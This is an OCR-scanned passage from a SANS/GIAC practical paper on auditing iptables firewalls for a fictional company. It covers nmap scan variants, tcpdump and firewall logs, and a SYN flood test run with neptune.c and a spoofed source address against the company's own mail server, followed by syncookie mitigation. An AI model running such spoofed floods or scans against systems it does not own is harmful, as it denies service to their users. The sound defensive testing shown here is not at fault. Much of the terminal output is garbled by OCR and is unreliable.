decided when is best to do it, and when is best to redo it.
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So, now it is time to discuss about what we may want or may not want to
do it.

3.3.1. Auditing the primary firewall itself
Here is the list of what we will do.

Ensure that the primary firewall is physically secure.
o What location itis in?
o Are there any physical access controls to that location?
o Who have access to that location?

This one should be easy to assess. The primary firewall should be
on the location where proper access controls in install. At GIAC
Enterprises, it is in the computer room where only System Administrator
has accessed to it using the smart card.

Ensure that the primary firewall has been hardened properly
o Isthere any active user besides system administrator and root
on the systems?
o How often the administrator password is changed?
o Is there any network services running?
o Has proper HIDS tools been installed on the system?

At GIAC Enterprises, every of our Linux system have already been
hardened before being plugged into the network. For the primary firewall, we
disable all the network services. Running “netstat —an” should result in no
network service running except port 22 where we run OpenSSH. As stated
before we know that it is a little more risky but we have restricted the access
to that port from the System Administrator’'s IP raglge only.

Also, on all of our system, we run Bastille' = when we do the
hardening job. Bastille Linux is a program that asks lots of questions about
what on the system that might be of particular concern and allow the
administrator to take action against it. For our primary firewall, we have no
other active account except that of root and administrator. We set up the
system to force password change every month. System administrators have
their own separate user accounts. Running “vipw” should show detail about
what users are created on the systems and what are their default shells.

Only system administrator’'s account and root are allowed to have shells,
other accounts shell must be set to bogus shell such as /sbin/nologin.

Also, we have set up the “tripwire” to alert all the system administrators
every time the firewall rules (/etc/sysconfig/iptables) have been changed, so
they can be alert if there is any unexpected change or change is made during
unexpected time. Tripwire is the integrity checking tools that find the hash of
files into its database, and then rehash those files periodically to check

78 http://www.bastille-linux.org/
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against the previous hash value. Tripwire is extremely powerful tools, if use
properly to guard against rootkit and unauthorized modifications.

To be truly paranoid, we shutdown the firewall and restart it, then
check whether the firewall is running after restart using the command
“iptables —L —n”. Output of the commands should be currently active rules,
which should tell whether or not the firewall is actually running.

For every time the system is shutdown and rebooted, we have the
script to send the pager or SMS message to the system administrator’s
pager, unexpected reboot or shutdown might be worth investigation.

Ensure that no one can connect to the network services on the
firewall (well, technically there MUST be no service running on the
firewall, but this should give yet another layer of security.)
o Is the default policy for INPUT chain set to DROP?
o Is the default policy for OUTPUT chain set to DROP?
o Is the only rules allow to INPUT is from the System
Administrator’s IP range and only allow to access port 22
(SSH)?

At GIAC Enterprises, our firewall rules are not complicated at all. We use
iptable’s stateful firewalls features effectively, so that we ensure we understand
the nature of each rules thoroughly and make sure that the firewall rules are as
minimum as possible. Not only that we set the default policy of INPUT and
OUTPUT chain are DROP, but we also have only a few more rules concerning
INPUT and OUTPUT chain to allow System Administrator’s access from their IP
range.

To check that we do two things.

o Re-examine the firewall rules by two or more system administrators

o Test against it using “nmap”

o This second one takes time but is harmless to the firewall. The most
effective “nmap” options is stealth scanning. (nmap —sS) Because
our default policy for INPUT chain is to DROP, nmap takes a long time
to scan all 65535 available TCP, and 65535 UDP port.

o Test against it using “IRS”

IP Restrictions Scanner
(http://www.oxid.it/irs.html)

RPS combines ARP Poisoning and Half-Scan techniques to try spoofed TCP
connections to a selected port in order to find any source IP restrictions that
apply to that service.

To be frank, we do not fancy the idea of employing the nmap and IRS in
this stage that much. It takes a lot of time and is like beating the dead horse.
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We just ensure that we set allow rules for administrator’s IP range correctly, and
there is no rules else in INPUT and OUTPUT chain set to ACCEPT. While the
nmap and IRS things might takes hours, reviewing rules in INPUT and OUTPUT
chain in the primary firewall take at most 10 minutes.

3.3.2. Auditing the primary firewall rules (or firewall policy)

Ensure that the default policy is set properly
o Is the default policy for FORWARD chain set to DROP?

Ensure that the access requirements are fulfilled.
o Have all of the access requirements (referred to by the
reference numbers) been literally tested to see that it is actually
allowed what it has to allow?

3.4. Hardware Equipments

Two notebooks, one for the scanning put in front of the firewall (with
regards to each interface) to be the flow initiator (such as telnet to TCP
port, or nmap or ping etc), and another one behind the firewall doing
logging or tcpdump (with regards to each interface). Temporary IP
addresses are taken from the real IP address of the segment to represent
the real clients on those segments.

The following figures show various place that one can put the notebook
when testing access path from one point to the other point through
firewall.
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Laptop| mputer

Internet D

External Firewall

External DMZ

C
Internal DMZ
Internal Firewall
B
Internal Network
A

|

Laptop computer

This figure show the location to put two laptop on network A and B to test the
traffic flow between A & B through the Internal Firewall.
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This figure show the location to put two laptop on network B and C to test the

traffic flow between B & C through the Internal Firewall.

[— )
Laptop computer

Interne

External Firewall

Internal DMZ

B

External DMZ

C

Internal Firewall

Internal Network

Laptop qomputer

This figure show the location to put two laptop on network C and D to test the

traffic flow between C & D through the Internal Firewall.

3.5. Auditing Checklist

Checklist
Ref
Number

Testing Objective

Methods

Result

3.5.1

3.5.2

3.5.3

Opening ports on Internal
Firewall

Scan ports of ethO on
Internal Firewall
(nmap)

Scan ports of ethl on
Internal Firewall
(nmap)

Scan ports of ethl on
Internal Firewall
(nmap)

3.54

3.5.5

Opening ports on External
Firewall

Scan ports of ethO on
External Firewall
(nmap)

Scan ports of ethl on
External Firewall
(nmap)
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3.5.6 Scan ports of ethl on
Internal Firewall
(nmap)

3.5.7 Ensure that all access Be at the source
requirements, referred to | identified by each rule
by their reference and tried to access the
numbers, are fulfilled destination. For every
(Please refer to checklist | access rule, the source
3.5) should be able to access

their destination

(telnet at ports & use of
those applications e.g.
web browser, ftp client)

3.5.8 Ensure that if there is any | Check the file
outgoing connection /etc/sysconfig/iptables of
request are allowed from | the firewalls
VPN Security Gateway, (vi)
the source IP should be
checked.

3.5.9 Ensure that the firewall Check the permission
rules and attributes
letc/sysconfig/iptables, on | (chattr, Isattr)
all gateway and host-
centric firewall, are set to
immutable to avoid
unexpected change of its
content

3.5.10 Ensure that the tripwire tripwire --check
against the firewall policy
has been set up properly.

3.5.11 Verify the viability of SYN | nmap -sS
stealth scanning through
the firewall for
enumeration

3.5.12 Measure the ability of the | nmap -f (use along with
firewall to handle SYN, FIN, XMAS and
overlapped fragments NULL scan)
such as that used in the
TEARDROP attack

3.5.13 Test the firewall's nmap -sU
management of standard
UDP packets.

3.5.14 Verify the firewall’s ability | nmap -sA
to screen enumeration
techniques using ACK
packets
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3.5.15

Verity the firewall’s ability
to screen enumeration
techniques using FIN
packets

nmap -sk

3.5.16

Verity the firewall’s ability
to screen enumeration
techniques using NULL
packets

nmap -sN

3.5.17

Verity the firewall’s ability
to screen enumeration

techniques measuring the
packet window size (WIN)

nmap -sW

3.5.18

Verity the firewall’s ability
to screen enumeration
techniques using all flags
set (XMAS)

nmap -sX

3.5.19

Verity the firewall’s ability
to screen enumeration
techniques using ping
scan

nmap -sP

3.5.20

Verity the firewall’s ability
to screen enumeration
techniques using RPC
scan

nmap -sR

3.5.21

Verity the firewall’s ability
to screen enumeration
techniques using IPIDs

nmap -sl

3.5.22

Verify the firewal’s ability
to handle SYN flood

neptune.c

3.6. Check lists for allowed access requirements79

Checklist Reference Audit Result
Ref Number
Number

3.6.1 151-1

3.6.2 151-2

3.6.3 151-3

3.6.4 151-4

3.6. XXX 1571-1

3.6. XXX 1571-2

3.6. XXX 1571-3

3.6. XXX 1572-1

79 Referring back to section 1.5 Access Requirements
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NOTE: Only a sample of the checklist is shown here, the full checklist is in
APPPENDIX D.

3.7 Performing an audit

Since there are a lot of repetitive test against different reference number of
access requirements, we will demonstrate only a few interesting audit case here.

3.7.1. Audit Example #2: Checklist Ref # 3.5.4: Scan ports of ethO on
External Firewall (nmap)

We shall give one example of similar firewall audit checklist. Checklist #
3.5.1 — Checklist # 3.5.6 uses the same techniques

3.7.1.1. Set up the stage

811 512
DS DMS Sery

External
Firenwall

192.166.3.65

192 168.3.66

G 192.168.3.129 Inteérnal Firewall

192.168.3.183

a0

Hooking up the laptop on in front of the firewall and assign the IP
192.168.3.3. Now we are ready to do the job.

3.7.1.2. Audit facility

The following could be used to audit this checklist.
External firewall rule base
nmap
tcpdump

3.7.1.3. Expectation & Verification
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From the rule base [See Section 2.5 External Firewall], we know that we
do not allow any connection to the firewall itself from the Internet. We could say
that with a pretty high confident because we have only a couple of rules in INPUT
chain. We just use the nmap to confirm our assumption.

Because nmap will take a long time to complete scanning, we need some
way to cut the time down. We use tcpdump to see what kind of traffic nmap
generate, it scanning all ports result in the similar packets, then the evidence that
a few of them have been dropped could also means that the rest will also be
dropped. Please note that we do not use this estimation blindly, we use it with
pretty high confidence based on the simplicity of INPUT chain in the External
Firewall rule base.

3.7.1.3.1. Port Scanning
3.7.1.3.1.1. nmap and SYN scan

Starting nmap on our scanner machine (IP: 192.168.3.3) using command
nmap —P0 —sS 192.168.3.2, PO mean do not ping the destination while scanning.

[root@linux root 1#
[rootBlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[root@linux root1#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootBlinux rootl# nmap -PB -s3 192.168.3.2

Btarting nmap V. 3.88 ( www.insecure.org/nmap/ J

Then, use tcpdump to see what kind of traffic the nmap is generating.
From the following figure, it is actually sending out a SYN packet to various ports
on the 192.168.3.2.
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H1:3Z:41.919889 ; .3.3.47536 P .3.2.827: 5 683838929 :68383H925(8) wi

47536 e .3.2.421: 5§ 6838389329 :683838925(8) wi

47536 e .3.2.729: § 683838329 :6838389253(8) wi

47536 e .3.2.af=3-rmtsy=s: 5 683838529:6838389

£9(A) win 2848
132:41.913178 ; .3.3.47536 e .3.2.658: 5 683838329 :683838925(8) wi

919222 ; .3.3.47536 e .3.2.433: 5 683838929 :683838925(8) wi
.919Z65 ; .3.3.47536 e .3.2.24: 3 683838929 :6838368929(8) win
.919388 ; .3.3.47536 e .3.2.761: § 683838329 :683838923(8) wi
.919351 ; .3.3.47536 e .3.2.1383: S 6838389293:683838929(8) u
.919394 ; .3.3.47536 e .3.2.788: 5 683838929 :6838389253(8) wi
.919437 ; .3.3.47536 e .3.2.333: 5 683838329 :683838923(8) wi

.92Ra418 ; .3.3.47536 e .3.2.384: 5 683838929 :6838389253(8) wi

Since in our rule base, we have the LOG rule just before the packets are
dropped. We can see that all those packets are dropped.

IN=ethB 0UT= MAC=HB:ic:29:67:dB8:33:88:8c:29:18:23:268:88:88 SRC=192.168.3.:
Z2.168.3.2 LEN=48 TOS5=BxH8 PREC=8x88 TTL=57 1D=481Z8 PFROTO=TCP SFT=47536
WINDOW=2048 RES-BxB8 35YN URGFP-08
IN=ethB 0OUT= MAC=BB:Bc:29:67:dA:33:88:8c:29:18:23:26:88:88 SRC=192.168.3.:
2.168.3.2 LEN=48 TO5=Bx88 PREC=8x88 TTL=57Y 1D=34572 FROTOD=TCP SFT=47536
WINDOW=2048 RES-BxB8 35YN URGFP-08
IN=ethB 0OUT= MAC=BB:Bc:29:67:dA:33:88:8c:29:18:23:26:88:88 SRC=192.168.3.:
2.168.3.2 LEN=48 TO5=Bx88 PREC=8x88 TTL=57Y 1D=38435 FROTOD=TCP SFT=47536
WINDOW=2048 RES-BxB8 35YN URGFP-08
IN=ethB 0UT= MAC=BB:Bc:29:67:dA:33:B8:Bc:29:18:23:26:88:88 SRC=192.168.3.3 D3T=1
2.168.3.2 LEN=48 TOS5=BxB8 PREC=8x88 TTL=57 I1D=55833 FROTD=TCP SFT=47536 DPT=947
WINDOW=2048 RES-BxB8 35YN URGFP-08
IN=ethB 0UT= MAC=BB:Bc:29:67:dA:33:B8:Bc:29:18:23:26:88:88 SRC=192.168.3.3 D3T=1
2.168.3.2 LEN=48 TOS5=BxB8 PREC=8x88 TTL=57 1D=43133 FROTD=TCP SFT=47536 DPT=339
WINDOW=2048 RES-BxB8 35YN URGFP-08
IN=ethB 0UT= MAC=BB:Bc:29:67:dA:33:B8:Bc:29:18:23:26:88:88 SRC=192.168.3.3 D3T=1
2.168.3.2 LEN=48 TOS5=BxB8 PREC=8x88 TTL=57 ID=55156 FROTD=TCP SFT=47536 DPT=Z3Z
WINDOW=2048 RES-BxB8 35YN URGFP-08
IN=ethB 0UT= MAC=BB:Bc:29:67:dA:33:B8:Bc:29:18:23:260:88:88 SRC=192.168.3.3 D3T=1
2.168.3.2 LEN=48 TOS5=BxB8 PREC=8x88 TTL=57 1D=1277 PROTO=TCF 3PT-=-47536 DFT=274
INDOW=2848 RES=-8xB8 SYN URGP=8

=HB:Bc:29:67:dA:33:A8:B8c:29:18:23:20:85:88 SRC=192.168.3.3 D3T=1
2.168.3.2 LEN=48 TOS5=BxB8 PREC=8x88 TTL=57 1D=18Z38 PFROTD=TCP SFT=47536 DPT=329
WINDOW=2048 RES-BxB8 35YN URGFP-08

Now, with this evidence, without completing the nmap scan, we can be
highly confident that no ports on the External Firewall are visible to the Internet.

3.7.1.3.1.2. nmap and FIN, ACK, and XMAS scan

To make our certainty higher, we may want to limit the scan to only the
port that we know we have opened the service e.g. SSH port 22, then try various
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type of scanning such as XMAS scan, NULL scan, ACK scan, WINDOWS size
scan and FIN scan.

Here is the sample output from the scanning using FIN scan, ACK scan
and XMAS scans.

[rootBlinux rootl# nmap -PB -sF 192.168.3.2 -p

Btarting nmap V. 3.88 ( www.insecure.org/nmap/
Interesting ports on (192.168.3.2):

State Service
2Z2/tcp open ssh

Mmap run completed -- 1 IF address (1 host up) scanned in 12 seconds
[root@linux rootl# nmap -PB -sA 152.168.3.2 -p 22

Btarting nmap V. 3.88 ( www.insecure.org/nmap/ J
Interesting ports on (192.168.3.2):

State Service

filtered ssh

Mmap run completed -- 1 IF address (1 host up) scanned in 36 seconds
[root@linux rootl# nmap -PB -=X 152.168.3.2 -p 22

Btarting nmap V. 3.88 ( www.insecure.org/nmap/ J
Interesting ports on (192.168.3.2):

State Service
2Z2/tcp open ssh

Mmap run completed -- 1 IF address (1 host up) scanned in 12 seconds
[rootBlinux rootl# _

Please note that because that the FIN scan and XMAS scan below reports
that port 22 is opened, we run them against the port that we know has been
closed on the server, 7789. FIN scan and XMAS scan still reports port 7789 is
opened.
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[rootBlinux rootl# nmap -PB -sF 192.168.3.2 -p

Btarting nmap V. 3.88 ( www.insecure.org/nmap/
Interesting ports on (192.168.3.2):

State Service
/789-tcp open unknown

Mmap run completed -- 1 IF address (1 host up) scanned in 12 seconds
[rootBlinux rootl# nmap -PB -sA 192.168.3.2 -p 7789

Btarting nmap V. 3.88 ( www.insecure.org/nmap/ J
(192.168.3.2):
State Service
filtered unknown

Mmap run completed -- 1 IF address (1 host up) scanned in 36 seconds
[rootBlinux rootl# nmap -PB -s¥X 192.168.3.2 -p 7789

)
(192.168.3.2):
State Service
open unknown

Mmap run completed -- 1 IF address (1 host up) scanned in 12 seconds
[rootBlinux rootl# _

: 80 .
With reference to nmap man page -, and our experiment, we could
assume that FIN, XMAS, and also NULL scan are not as reliable.

Some words on types of scanning

To be fair with those scanning technique such
as FIN scan, XMAS scan and NULL scan.
ACK scan is also not reliable. You may see,
from both figures above, that the ACK scan
reports filtered instead of open asin FIN
scan, XMAS and NULL scan. However, a
simple test would reveal that in our
environment ACK scan always report filtered
even if we use it to scan the port that is left
opened.

FIN scan, XMAS scan, NULL scan and ACK
scan needs the response from the scanning
host in order to be useful. It would not take
long to see why they are useless because we
have never let them in, so they would never
get any response back. While SYN scan
also relied on the response in order to be of
any use, we do let a packet with SYN flag set

80 http://www.insecure.org/nmap/data/nmap_manpage.htmi
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in, while dropping out any other.

All these happen because we configure our

firewall in such a way that it only either allow
the ESTABLISHED (or RELATED) flow or a
SYN packet to be in, nothing else is allowed
to pass through.

3.7.1.3.1.3. nmap with fragmentations

Next, we will try to see if people on the Internet could trick the firewall to
let the traffic through to port 22 with the fragmentation techniques. Use —f with
other scan such as SYN scan for example. After it is complete, the result shows
that the port cannot be reached.

[root@linux root 1#
[root@linux root 1#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[root@linux root1#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[root@linux root1#
[rootRlinux rootl#
[root@Plinux rootl# nmap -PH =5 -f 192.168.3.2 -p 22

Btarting nmap V. 3.88 ( www.insecure.org/nmap/ J
Interesting ports on (192.168.3.2):

State Service
2Z2/tcp filtered ssh

Mmap run completed -- 1 IF address (1 host up) scanned in 37 seconds
[rootBlinux rootl# _

In the next screen shot, we’'ll see that the scanning packet sending out is
actually fragmented.
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.938881
.94@8518
.935591

.168.3.3.33
.168.3.3 > 192.168.3
who-has 192.168.3.2
reply 192.168.3.2
.168.3.3.33852 > 192.
.168.3.3 > 192.168.3
.168.3.3.33853 > 192.
.168.3.3 > 192.168.3
.168.3.3.33854 > 192.
.168.3.3 > 192.168.3
.168.3.3.33855 > 192.
.168.3. i68.3
.168.3. > 192.
.168.3. i68.3

851 > 132.

.936782
.9526Z28
.952885
.961634
.962Z61
. 988627
.981168
.998647
.99@8797
.B1B8863
.B1A988

> 192,

P

.33856
> 192,

P

Wl

niie

is-

niie

niie

niie

niie

niie

168.3.2.8sh: [itcpl (frag
(frag 11386:4016)

tell 192.168.3.3

at A:c:iZ29:67:dB:33
168.3.2.8sh: [itcpl (frag
(frag 18154:4016)
168.3.2.8sh: [itcpl (frag
(frag 43455:4016)
168.3.2.8sh: [itcpl (frag
(frag 28188:4016)
168.3.2.8sh: [itcpl (frag
(frag 1748Z:4016)
168.3.2.8sh: [itcpl (frag
(frag SHI9B8Z:4016)

:1608+)

:1608+)

:1608+)

:1608+)

211608 +)

211608 +)

On the firewall, we see that those packets are actually dropped despite

their clever effort of fragmentations.

[root@]linux
[root@]inux
[rootR]inux
[rootR]inux
[rootR]inux
[rootR]inux

network-scripts1#
network-scriptsI#
network-scripts 1
network-scripts 1
network-scripts 1
network-scripts 1

network-scriptsi#f IN=ethB OUT= MAC=BB:Bc:29:67:d8:33:88:8c:29:18:23:

A : A8 : @88 SRP 192.168.3.3 D3T=192.168.3.2
H6 FPROTO=-TCF SPT=33851 DPT=22 WINDOW=2R4
AR :Bc:29:67:dA:33:88:8c

.2 LEN=48 TO35=HxBA PREC-=

]NDDH 2618 RES=AxHA 3YN URGP=8
AR :Bc:29:67:dA:33:88:8c

.2 LEN=48 TO35=HxBA PREC-=

]NDDH 2618 RES=AxHA 3YN URGP=8
AR :Bc:29:67:dA:33:88:8c

.2 LEN=48 TO35=HxBA PREC-=

]NDDH 2618 RES=AxHA 3YN URGP=8
AR :Bc:29:67:dA:33:88:8c

.2 LEN=48 TO35=HxBA PREC-=

]NDDH 2618 RES=AxHA 3YN URGP=8
AR :Bc:29:67:dA:33:88:8c
48 TOS=HBxBAA PREC-=

.2 LEN=
]NDDH 2818 RES=8x88 3YN URGF-=8

3.7.1.3.2. SYN flooding

BxBA TTL=

BxBA TTL=

BxBA TTL=

BxBA TTL=

BxBA TTL=

LEN=48
8 RES=Bx@8 SYN URGP=8
:29:18:23:28:88:88 SRC=19Z.168.3
59 1D=18154 FROTOD=TCF SFT=3385Z

s I
59

18:23:28
1D=43455

:@5:88 SRC=132.168.3
FROTOD=TCF SPT=33853

s I
59

18:23:28
ID=28188

:@5:88 SRC=132.168.3
FROTOD=TCF SPT=33854

s I
59

18:23:28
1D=17482

:@5:88 SRC=132.168.3
FROTOD=TCF SPT=33855

s I
59

18:23:28
ID=5A582

:@5:88 SRC=132.168.3
FROTOD=TCF SPT=33856

TO3=Bx88 PREC=BxB8 TTL=59 ID=113

In this phase, we will try to see if the firewall itself vulnerable to SYN
flooding attacks. We do not expect it to be vulnerable. This is because we left
no port opened and also we do not let any SYN packet destine to the External

Firewall itself.

As part of GIAC practical repository.
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Things will be a lot different if we DO left some TCP port opened. We'll
see in the next example where we do really let the SYN packet through.

For now, we'll just skip this section than showing the result that it is as our
expectation to save some space.

3.7.2. Audit Example #2: Access Requirement #151-2

We actually want to show the way we audit the usability of the firewall. In
this requirement, computer from Internet must be able to connect to port 25 of
the mail server. We have used the same “stage” as in [3.7.1.1]
3.7.2.1. Access requirement conformance

This is simple, just telnet from our scanner station 192.168.3.3 to the
External DMZ’s mail server 192.168.3.69. Then it is simple to see whether it is
working as required by the access requirement.
3.7.2.2. nmap with fragmentation

The most interesting nmap scan to try is not any of FIN scan, NULL scan,
3.7.2.3. SYN flood

Provided that the firewall always let the SYN packet in. There is high

chance that the SYN flood sending from the scanning station (192.168.3.3) to the
mail server (192.168.3.69) through the firewall will be succeeded.

Some words on SYN flood

During my experimental to write up this paper | have found
some interesting fact about SYN flood, staring from this
paper, “SYN Flood DoS Attack Experiments”,
http://www.niksula.cs.hut.fi/~dforsber/synflood/result.html.

In this paper, the tools called “neptune.c”,
http://www.niksula.cs.hut.fi/~dforsber/synflood/neptune.c
has been linked. In my opinion, itis a simple tool. |
actually tried to use it against my firewall. It really works. 1
have tested against our actual web server that we have
considered strong. The result? They can no longer serve
any further legitimate request.

Not only that the end system link the mail server
(192.168.3.69) in this case are not able to serve any other
connection (because all limited half-opened connection
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cause by SYN packet are occupied), but also the
connection tracking table of the External Firewall are full
real fast. In my early case, it even full long before the end
system’s connection limit are reached. This means the
stateful firewall itself cause more harm when facing with
SYN attack (through it, not against it directly). The number
of connection tracking table does really matter.

At first | thought about the limit feature of iptables, it turn
out to be that this limit feature does limit the number of
connection/unit of time. For example, 3/s means 3-
connection request per second. In effect, this limit helps the
Denial of Service success even faster. A lot of literature
including many example iptables script lead me to believe
that we are immune against the SYN attack already (well, at
least be have the right tools to combat it using this limit
feature.) Here is an example of such script excerpt from a

- . .81
mailing list .

## SYN-FLOODING PROTECTION

SIPTABLES -N syn-flood

$IPTABLES -A INPUT -i $WORLDDEV -p tcp --syn -j syn-flood
$IPTABLES -A syn-flood -m limit --limit 1/s --limit-burst 4 -} RETURN
$IPTABLES -A syn-flood -j DROP

This script actually cause SYN flood to success faster.
Later on, | found out that if we put the problem of iptable’s
connection tracking limitation off for a while. There is a
kernel parameter for TCP called syn_cookies which guard
against SYN flood effectively. Unfortunately, for some
reason, syn_cookies has been turned off by default,
which effectively makes almost any RedHat Linux system
on the Internet now vulnerable to the SYN flood attack.

Considering that the ghost of SYN flood (and its primary
cause neptune.c), has been discovered and killed 8 years
ago. It has been 8 years and most people think that their
system is immune to this attack by default. | think they
start thinking that the syn_cookies feature cause more harm
than good. Some examples are
http://linux.oreillynet.com/pub/a/linux/2001/11/05/insecuritie
s.html and
http://www.linuxsecurity.com/advisories/freebsd_advisory-
2888.html

81 http://'www.sandelman.ottawa.on.ca/linux-ipsec/html/2001/12/msg00448.html
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The idea of syn_cookies turned out to be coming from D. J.

Bernstien, the creator of gmail, http://cr.yp.to/syncookies.html.

From this link, Defending against a SYN-Flood Attack,
http://www.willamowius.de/syn_flood.html, there is a link to

a CERT article in September 1996,
http://www.cert.org/advisories/CA-1996-21.html. That

article referred to an underground publishing of SYN flood
as follow.

Two "underground magazines" have
recently published code to conduct denial-of-
service attacks by creating TCP "half-open”
connections. This code is actively being used
to attack sites connected to the Internet. There
is, as yet, no complete solution for this
problem, but there are steps that can be taken
to lessen its impact. Although discovering the
origin of the attack is difficult, it is possible to
do; we have received reports of attack origins
being identified.

| suspected that the one of them are as reference in “SYN
Flood DoS Attack Experiments”,
http://www.niksula.cs.hut.fi/~dforsber/synflood/result.html,
which is Phrack magazine, issue 48 - File 13 of 18,
"Project Neptune", published in July 1996.
(http://www.phrack.org/show.php?p=48&a=13)

With the existence of syn_cookie, the SYN flood is no
longer the problem of the end machine. It works like charm.
(You can turn it on by

“echo 1 > /proc/sys/net/ipv4/tcp_syncookies” or set
net.ipv4.tcp_syncookies =1 in /etc/sysctl.conf)

Now, the problem of SYN flood against the end system has
been solved, but when considering that every stateful
firewall including iptables needs a connection tracking table
to keep the state. There will always be the limitation of
how large the size of that connection tracking table could
be. Do not forget that we always need to allow the SYN
packet to go through.

The stateful firewall will be the bottleneck and could be
easily attacked against with little cost. (Sending SYN packet
out does not require a lot of bandwidth)

© SANS Institute 2003,
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Even worse, we have no way to determine where it is
sending from because the source IP can be easily spoofed.

The good news, at least on my experimental systems, is
that when there seems to be some upper-bound on the
number of occupied connection tracking table due to either
bandwidth or some built-in TCP time-out (e.g. clear some
half-opened out of the table.) At that upper-bound, where
the bandwidth is full, and the new SYN flood packets are
steadily comes, that upper-bound size is still maintained.

For now, what | could do is to turn on every syn_cookies
on all of the Linux host and enlarge the size of connection
tracking table on all iptables system as much as possible.

3.7.2.3.1. SYN flood in action

Let's see how SYN flood cause trouble to our system. We start SYN
flood targeting our External DMZ’s mail server (192.168.3.69) at port 25. We
spoofed the source address to be 10.180.95.98, then we send out 200,000 SYN
packets.

[rootBlinux rootl# .- meptune -s 18.1868.95.98 -t 192.168.3.69 -p 25 -a ZBBEAA

Flooding target: 1157867712
25

fimount: ZARRRA

Fuportedly from: 1658439178
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In the next screen short, we use tcpdump on the scanner machine to sniff
packets it sends out. All of them are SYN packets destine to 192.168.3.69 port
25.

.381481 ‘ 95,985 . .3.69. : 38269186 :38263186(8) w
.385531 ‘ 95,985 .168.3.69. : 558464682 155846482 (8) W)
.387865 ‘ 95,985 .168.3.69. : 71823618:71823618(8) W
.392711 ‘ .95.98.3615 .168.3.69. : 88680834 :85688834(8) W)
.399138 ‘ 95,985 .168.3.69. : 185378858 : 185378858 (8 )

.485811 ‘ 95,985 .168.3.69. : 122155266 122155266(8)

.488738 ‘ 95,985 .168.3.69. : 138532482 :138932482(8)

.414248 ‘ 95,985 .168.3.69. : 155789698 : 155785698 (8)

.418512 ‘ .95.98.: .168.3.69. : 172486914:172486914(8)

.421819 ‘ 95,985 .168.3.69. : 189264138 :189264138(8)

426526 ‘ 95,985 .168.3.69. : 286841346 :286841346(8)

.432364 . .95, 908" .168.3.69. : 222818562 :222818562(8)
win 242

The next screen short has been taken from the External Firewall; we see
that the connection-tracking table started to be filled up. We check the
maximum size of connection tracking table, it turned out to be 2048 by default.
This value is different from machine to machine depending upon CPU, RAM and
load on the machine.

ip_conntrack: table full, dropping packet.
ip_conntrack: table full, dropping packet.
ip_conntrack: table full, dropping packet.
ip_conntrack: table full, dropping packet.
ip_conntrack: table full, dropping packet.
ip_conntrack: table full, dropping packet.
ip_conntrack: table full, dropping packet.
ip_conntrack: table full, dropping packet.
ip_conntrack: table full, dropping packet.
NET: 7 messages suppressed.

ip_conntrack: table full, dropping packet.
NET: 26 messages suppressed.

ip_conntrack: table full, dropping packet.
NET: 9 messages suppressed.
ip_conntrack: table full, dropping packet.
MNET: 11 messages suppressed.
ip_conntrack: table full, dropping packet.
NET: 4 messages suppressed.
ip_conntrack: table full, dropping packet.

[rootBlinux rootl# cat sprocssys-netrsipuvdsip conntrack max

[rootBlinux rootl# NET: ZA messages suppressed.
ip_conntrack: table full, dropping packet.

109
© SANS Institute 2003, As part of GIAC practical repository. Author retains full rights.



The next screen short also taken from the External Firewall, the table fulls
are repeatedly reported.

MHET: 9 messages suppressed.
ip_conntrack: table full, dropping
NET: 27 messages suppressed.
ip_conntrack: table full, dropping
NET: 9 messages suppressed.
ip_conntrack: table full, dropping
NET: 2 messages suppressed.
ip_conntrack: table full, dropping
MNET: 65 messages suppressed.
ip_conntrack: table full, dropping
NET: 9 messages suppressed.
ip_conntrack: table full, dropping
NET: 21 messages suppressed.
ip_conntrack: table full, dropping
MNET: 138 messages suppressed.
ip_conntrack: table full, dropping
MET: 157 messages suppressed.
ip_conntrack: table full, dropping
MET: 173 messages suppressed.
ip_conntrack: table full, dropping
MET: 651 messages suppressed.
ip_conntrack: table full, dropping
MET: 428 messages suppressed.
ip_conntrack: table full, dropping

The next screen short has been taken from the target machine. For the
clarity of problem, we have purposedly taken the host-centric firewall off this
machine (otherwise, the table full would also show up)

[root@linux root 1#
[root@linux root 1#
[rootB@linux root 1#
[rootRlinux rootl#
[rootRlinux rootl#
[rootBlinux rootl# cat ~sproc-sys/netrsipvistcp suyncookies

root1# MET: 1 messages suppressed.

1185 messages suppressed.

: P77 messages suppressed.
1188 messages suppressed.
1174 messages suppressed.
1216 messages suppressed.

: B854 messages suppressed.

: 5721 messages sSuppresse

: 558 messages SUppresse

: bB6 messages suppres

! V62 messages SUpPPress

! 913 messages SUpPpPresse

! VHB messages SUppress

: 855 messages suppres !

! 946 messages suppressed.
1864 messages suppressed.
1133 messages suppressed.
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When we use netstat —a, we see that a lot of connections are in
SYN_RECYV state. Notice though that all of the source IP are from some weird
IP, 10.180.95.98.

132.
132.
132.
132.
132.
132.
132.
132.

3.69:smtp s .595.98: 3¥YN_RECU
§.69:smtp .188.95.98: 3¥YN_RECU
3.69:smtp .188.595.98:" 3¥YN_RECU
3.69:smtp .188.95.98: 3¥YN_RECU
3.69:smtp .188.595.98:" 3¥YN_RECU
3.69:smtp .188.595.98:" 3¥YN_RECU
3.69:smtp .188.595.98:" 3¥YN_RECU
3.69:smtp .188.95.98: 3¥YN_RECU
192. 3.69:smtp .188.95.98: 3¥YN_RECU
192. .3.69:smtp .188.95.98: 3¥YN_RECU
192. .3.69:smtp .188.95.98: 3¥YN_RECU
192. 3.69:smtp .188.95.98: 3¥YN_RECU
192. 3.69:smtp .188.95.98: 3¥YN_RECU
192. 3.69:smtp .188.595.98:: 3¥YN_RECU
192. 3.69:smtp .188.95.98: 3¥YN_RECU
192. 3.69:smtp .188.95.98: 3¥YN_RECU
192. 3.69:smtp .188.95.98: 3¥YN_RECU
192. 3.69:smtp .1868.95.98:346 3¥YN_RECU
192. 3.69:smtp .1868.95.98:18" 3¥YN_RECU
192. 3.69:smtp .188.95.98: 18: 3¥YN_RECU
192. 3.69:smtp .188.95.98: 3¥YN_RECU
192. 3.69:smtp .188.95.98: 3¥YN_RECU
192. 3.69:smtp .188.95.98: 3¥YN_RECU
